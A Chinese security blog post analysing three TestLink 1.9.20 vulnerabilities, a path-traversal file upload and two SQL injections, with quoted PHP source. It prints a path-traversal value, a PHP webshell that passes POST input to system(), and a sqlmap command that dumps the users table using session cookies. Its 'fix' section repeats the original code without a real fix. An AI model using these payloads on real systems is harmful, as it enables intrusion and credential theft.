浅析TestLink的三个CVE

前言:由于一开始文章被吞了后半部分,造成了一些误会,现在都补上啦,谢谢王叹之师傅的提醒,hhh
后来才知道是我加了几个表情的锅2333

Testlink是一个开源的、基于Web的测试管理和测试执行系统,由PHP编写。

github网址为:https://github.com/TestLinkOpenSourceTRMS/testlink-code/tree/1.9.20

在最近的一次安全审计中,AppSec团队发现了一个任意文件上传漏洞(CVE-2020-8639)和两个SQL注入漏洞(CVE-2020-8637、CVE-2020-8638)。

CVE:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8637

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8638

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8639

下面我们将对这三个已发现的漏洞及其被利用的方式进行概述。

任意文件上传的分析

Teslink提供了使用关键字对测试用例进行分类的可能性。这些关键字可以导出和导入,在这次操作中,我们发现了第一个漏洞

这个界面允许我们上传一个包含关键字的文件,关于文件类型,我们可以选择XML或CSV格式。现在我们看一下在文件keywordsImport.php中存在的init_args方法的实现。

function init_args(&$dbHandler)
{
  $_REQUEST = strings_stripSlashes($_REQUEST);
  $ipcfg = array("UploadFile" => array(tlInputParameter::STRING_N,0,1),
                 "importType" => array(tlInputParameter::STRING_N,0,100),
                 "tproject_id" => array(tlInputParameter::INT_N));
  $args = new stdClass();
  R_PARAMS($ipcfg,$args);
  if( $args->tproject_id <= 0 )
  {
    throw new Exception(" Error Invalid Test Project ID", 1);
  }
  // Check rights before doing anything else
  // Abort if rights are not enough
  $user = $_SESSION['currentUser'];
  $env['tproject_id'] = $args->tproject_id;
  $env['tplan_id'] = 0;
  $check = new stdClass();
  $check->items = array('mgt_modify_key');
  $check->mode = 'and';
  checkAccess($dbHandler,$user,$env,$check);
  $tproj_mgr = new testproject($dbHandler);
  $dm = $tproj_mgr->get_by_id($args->tproject_id,array('output' => 'name'));
  $args->tproject_name = $dm['name'];
  $args->UploadFile = ($args->UploadFile != "") ? 1 : 0;
  $args->fInfo = isset($_FILES['uploadedFile']) ? $_FILES['uploadedFile'] : null;
  $args->source = isset($args->fInfo['tmp_name']) ? $args->fInfo['tmp_name'] : null;
  $args->dest = TL_TEMP_PATH . session_id() . "-importkeywords." . $args->importType;
  return $args;
}

首先,strings_stripSlashes方法过滤了==$_REQUEST==中所有引用的字符串值。然后用R_PARAMS方法从REQUEST中获取ipcfg中定义的参数并存储在args中。上传的文件被存储在$args->source中,而$args->importType的值被串在$args->dest中。我们可以很容易的将importType的值改为/./././2333。换句话说,这个参数是容易被遍历的。

同样的, $args->dest 也是被用在move_uploaded_file函数处

$args = init_args($db);
$gui = initializeGui($args);
if(!$gui->msg && $args->UploadFile)
{
  if(($args->source != 'none') && ($args->source != ''))
  {
    if (move_uploaded_file($args->source, $args->dest))

任意文件上传的利用

利用这个漏洞的一个方法是在部署Testlink的服务器上上传一个webshell,使其远程执行代码。要做到这一点,我们需要在服务器上找到一个运行Testlink的系统用户有写权限的路径(例如,/logs)。

importType的值可以是/../../../../../logs/2333.php,我们需要在PHP中的变量uploadFile中传递我们的webshell的代码。例如,这可以用下面的方法来实现。

<html>
    <body>
        <form method="POST">
            <input name="command" id="command" />
            <input type="submit" value="Send" />
        </form>
        <pre>
            <?php if(isset($_POST['Hack']))
        {
            system($_POST['Hack']);
        } ?>
        </pre>
    </body>
</html>

随后我们就可以在server上执行命令。

SQL注入分析

Testlink易受SQL注入的影响,在tree.class.phptestPlanUrgency.class.php中都存在SQL注入的问题。我们来详细的看一下这几个点。

1.dragdroptreenodes.php

第一个是从dragdroptreenodes.php中开始的,注入是在nodeid这个变量体现的。

我们来看一下相关的函数和代码块:

function init_args()
{
  $args=new stdClass();
  $key2loop=array('nodeid','newparentid','doAction','top_or_bottom','nodeorder','nodelist');
  foreach($key2loop as $key)
  {
    $args->$key=isset($_REQUEST[$key]) ? $_REQUEST[$key] : null;
  }
  return $args;
}

用户输入的nodeid变量是从$_REQUEST中获取并存储在$args->nodeid中,之后,change_parent方法会被调用:其中关于change_parent方法的定义在tree.class.php中。从下面的源码中可以看到,在SQL语句的WHERE语句中,构造了一条$node_id的相关链,实现了对SQL语句的控制。

$args=init_args();
$treeMgr = new tree($db);
switch($args->doAction)
{
    case 'changeParent':
        $treeMgr->change_parent($args->nodeid,$args->newparentid);
    break;
function change_parent($node_id, $parent_id)
  {
    $debugMsg='Class:' .__CLASS__ . ' - Method:' . __FUNCTION__ . ' :: ';
    if( is_array($node_id) )
    {
      $id_list = implode(",",$node_id);
      $where_clause = " WHERE id IN ($id_list) ";
    }
    else
    {
      $where_clause=" WHERE id = {$node_id}";
    }
    $sql = "/* $debugMsg */ UPDATE {$this->object_table} " .
           " SET parent_id = " . $this->db->prepare_int($parent_id) . " {$where_clause}";
    $result = $this->db->exec_query($sql);
    return $result ? 1 : 0;
  }

2.planUrgency.php开始

第二个SQL注入是在planUrgency.php中出现的,注入的是未经过过滤的参数 urgency

if (isset($_REQUEST['urgency']))
  {
    $args->urgency_tc = $_REQUEST['urgency'];
  }

接收到$_REQUEST传入的urgency后,调用setTestUrgency方法。

public function setTestUrgency($testplan_id, $tc_id, $urgency)
  {
    $sql = " UPDATE {$this->tables['testplan_tcversions']} SET urgency={$urgency} " .
           " WHERE testplan_id=" . $this->db->prepare_int($testplan_id) .
           " AND tcversion_id=" . $this->db->prepare_int($tc_id);
    $result = $this->db->exec_query($sql);
    return $result ? tl::OK : tl::ERROR;
  }

最后$urgency会被直接插入到SQL查询语句中,攻击者就可以直接执行控制数据库中的SQL语句从而拿到shell。

SQL注入的利用

回过头看了一下王叹之师傅的链接,发现自己没有总结PostgreSQL的情况,现在放一下这篇文章的内容:

这里是说:可以进行堆叠注入,可以据此进行提权。

而在Mysql中,我们并不能改变数据库里的值,不过我们可以用sqlmap来简单的dump一下。

python sqlmap.py -u <URL_TESTLINK>/lib/ajax/dragdroptreenodes.php
--data="doAction=changeParent&oldparentid=41&newparentid=41&nodelist=47%2C45&nodeorder=0&nodeid=47"
-p nodeid
--cookie="PHPSESSID=<PHP_SESSION_ID>; TESTLINK1920TESTLINK_USER_AUTH_COOKIE=<USER_AUTH_COOKIE>"
--dump -D testlink -T users

我们可以看到,Testlink使用bcrypt(不可逆,把明文和存储的密文一块运算得到另一个密文,如果这两个密文相同则验证成功)来存储用户的密码,所以这些信息没啥用了。但是,apiKey和cookie都是以文本的形式传递,所以我们可以来伪造admin的身份进行请求。

修复:

对于文件上传漏洞,可以借助以下代码来检查

$tproj_mgr = new testproject($dbHandler);
  $dm = $tproj_mgr->get_by_id($args->tproject_id,array('output' => 'name'));
  $args->tproject_name = $dm['name'];

而对于SQL注入:就是借助了常规的过滤来避免,在这里不再多说。

Reference:

https://github.com/TestLinkOpenSourceTRMS/testlink-code github源码

https://ackcent.com/blog/testlink-1.9.20-unrestricted-file-upload-and-sql-injection/ 的确和这个有点像,大家可以移步去看一下。

点击收藏 | 0 关注 | 1
登录 后跟帖